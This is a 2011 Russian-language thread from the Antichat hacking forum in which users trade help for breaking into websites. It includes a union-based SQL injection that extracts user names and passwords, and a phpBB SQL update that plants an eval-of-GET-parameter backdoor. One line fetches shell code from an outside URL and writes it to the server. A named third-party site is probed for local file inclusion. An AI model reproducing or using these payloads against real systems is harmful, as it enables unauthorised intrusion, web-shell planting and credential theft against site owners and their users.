HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 06.11.2011, 20:17
kyboe
Новичок
Регистрация: 26.10.2011
Сообщений: 24
Провел на форуме:
4657

Репутация: 0
По умолчанию

Как залить шелл на сайтe Jooma ?

Там стоит virtuemart если что.
 
Ответить с цитированием

  #2  
Старый 07.11.2011, 00:26
tabletkO
Познающий
Регистрация: 03.11.2011
Сообщений: 83
Провел на форуме:
28093

Репутация: 11
По умолчанию

kyboe,

есть админка? Если есть, то в чем проблема? Если нет, то делай уроки

Einstein,

скинь сайт в ЛС, разберусь.

Люди! Как найти шелл, если сервер WINDOWS? grep, find это никсовые...
 
Ответить с цитированием

  #3  
Старый 07.11.2011, 00:49
KolosJey
Новичок
Регистрация: 21.12.2009
Сообщений: 0
Провел на форуме:
15756

Репутация: 0
По умолчанию

Цитата:
Сообщение от tabletkO  
Einstein,
скинь сайт в ЛС, разберусь.
Что-бы не разбираться, попробуй не советовать такую чушь )

Цитата:
Сообщение от tabletkO  
Einstein
,
Код HTML:
www.xxx.xx/text.php?content_id=-4+union+select+UNHEX(HEX(concat(user_name,char(58),user_password)))+from+0x757365725f61757468+limit+0,1--+[/HTML
.
Код HTML:
Названия таблицы в этом месте переводить в HEX нельзя.

Einstein 99% что таблица в другой базе, вы тут по кругу вопросы гоняете? :)
[/QUOTE]

Названия таблицы в этом месте переводить в HEX нельзя.

Einstein 99% что таблица в другой базе, вы тут по кругу вопросы гоняете?
[/HTML]

[/QUOTE]
 
Ответить с цитированием

  #4  
Старый 07.11.2011, 01:17
shell_c0de
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме:
1585404

Репутация: 564
По умолчанию

Цитата:
Сообщение от kyboe  
Как залить шелл на сайтe Jooma ?
Там стоит virtuemart если что.
/showpost.php?p=1809203&postcount=173
__________________
Никогда не бойся делать то, что ты не умеешь. Помни, ковчег был построен любителем. "Титаник" - проффесионалами.
 
Ответить с цитированием

  #5  
Старый 07.11.2011, 14:52
er9j6@
Постоянный
Регистрация: 17.09.2011
Сообщений: 390
Провел на форуме:
107835

Репутация: 23
По умолчанию

как крутить дальше не пойму?

http://www.flukehearing.com/news_manager.php?page=6616'
 
Ответить с цитированием

  #6  
Старый 07.11.2011, 15:50
satana8920
Постоянный
Регистрация: 22.09.2006
Сообщений: 531
Провел на форуме:
3818187

Репутация: 369


По умолчанию

залил шелл

Цитата:
Сообщение от None  
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:eval(stripslashes($_GET[e]));' WHERE user_id=2;
но как тепреь залить нормальный шелл туда? с помощью этого минишелла?? подскажите плс в пм буду оч признателен
 
Ответить с цитированием

  #7  
Старый 07.11.2011, 16:10
Boolean
Участник форума
Регистрация: 05.09.2010
Сообщений: 147
Провел на форуме:
40748

Репутация: 78
По умолчанию

Цитата:
Сообщение от satana8920  
залил шелл
но как тепреь залить нормальный шелл туда?
с помощью этого минишелла?? подскажите плс в пм буду оч признателен
file_put_contents('yashell.php', file_get_contents('http://ya.ru/shell.txt'));

Это если url_fopen еще разрешен.
 
Ответить с цитированием

  #8  
Старый 07.11.2011, 16:42
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033

Репутация: 8
По умолчанию

Цитата:
Сообщение от er9j6@  
как крутить дальше не пойму?
http://www.flukehearing.com/news_manager.php?page=6616'
Warning: include() [function.include]: Failed opening 'sn/6616dfgh.htm' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/fluke/public_html/news_manager.php on line 11

Как бы намекает что это Local File Inclusion (LFI), где к подключаемым станицам добавляется .htm
 
Ответить с цитированием

  #9  
Старый 07.11.2011, 17:15
crackforme
Участник форума
Регистрация: 03.10.2011
Сообщений: 208
Провел на форуме:
43818

Репутация: 0
По умолчанию

кто нибудь знает онлайновый кодер из str скажем в char

например

asd = CHAR(97,115,100)

мне надо в binary или нех вида

0x123834756
 
Ответить с цитированием

  #10  
Старый 07.11.2011, 17:16
er9j6@
Постоянный
Регистрация: 17.09.2011
Сообщений: 390
Провел на форуме:
107835

Репутация: 23
По умолчанию

Цитата:
Сообщение от crackforme  
кто нибудь знает онлайновый кодер из str скажем в char
например
asd = CHAR(97,115,100)
мне надо в binary или нех вида
0x123834756
http://x3k.ru/
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.